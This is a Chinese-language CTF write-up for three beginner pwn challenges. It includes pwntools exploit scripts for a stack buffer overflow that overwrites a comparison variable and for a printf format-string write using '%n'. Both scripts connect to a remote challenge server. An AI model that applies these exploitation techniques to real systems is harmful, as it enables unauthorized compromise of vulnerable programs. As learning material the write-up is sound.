get_shell
逆向分析一下,没什么东西
简单的linux指令,即可获得flag
hello_pwn
逆向分析文件
read函数,接收16个字节长,可能存在可以利用的漏洞。然后再判断dword_60106C中的值是否与1853186401相等
由这里看到read读取的长度明显超过unk_601068的长度,覆盖到dword_60106C上,即可执行下一个函数
获得flag,实验一下
payload aaaaaaun前四个字节是随意填充,nuaa是1853186401的字符,小端序,所以逆置
from pwn import *
context(os = 'linux',arch = 'amd64' ,log_level = 'debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
def main():
if content == 1:
io = process("./hello_pwn") # 程序在kali的路径
else:
io = remote("61.147.171.105", 54405) # 题目的远程端口
payload = b'a' * (0x60106C - 0x601068) + p64(1853186401)
io.recvuntil("lets get helloworld for bof\n")
io.sendline(payload)
io.interactive()
main()
同样获得flag
CGfsb
根据提示,printf,所以问题有可能就出在printf里面,是一个格式化字符串漏洞,例如,输出一个整型的a,printf("%d,a"),如果省略format部分,仅为printf(a),可见https://ciphersaw.me/ctf-wiki/pwn/linux/fmtstr/fmtstr_intro/
就是pwnme的值等于8,即可pwn成功。
就是利用格式化字符串漏洞,使pwnme的值为8即可。
exp:
from pwn import *
context(os = 'linux',arch = 'amd64' ,log_level = 'debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
def main():
if content == 1:
io = process("./CGfsb") # 程序在kali的路径
else:
io = remote("61.147.171.105", 63241) # 题目的远程端口
io.recvuntil("please tell me your name:\n")
io.sendline("1")
io.recvuntil("leave your message please:\n")
io.sendline(p32(0x0804A068) + b'aaaa' + b'%10$n')
io.interactive()
main()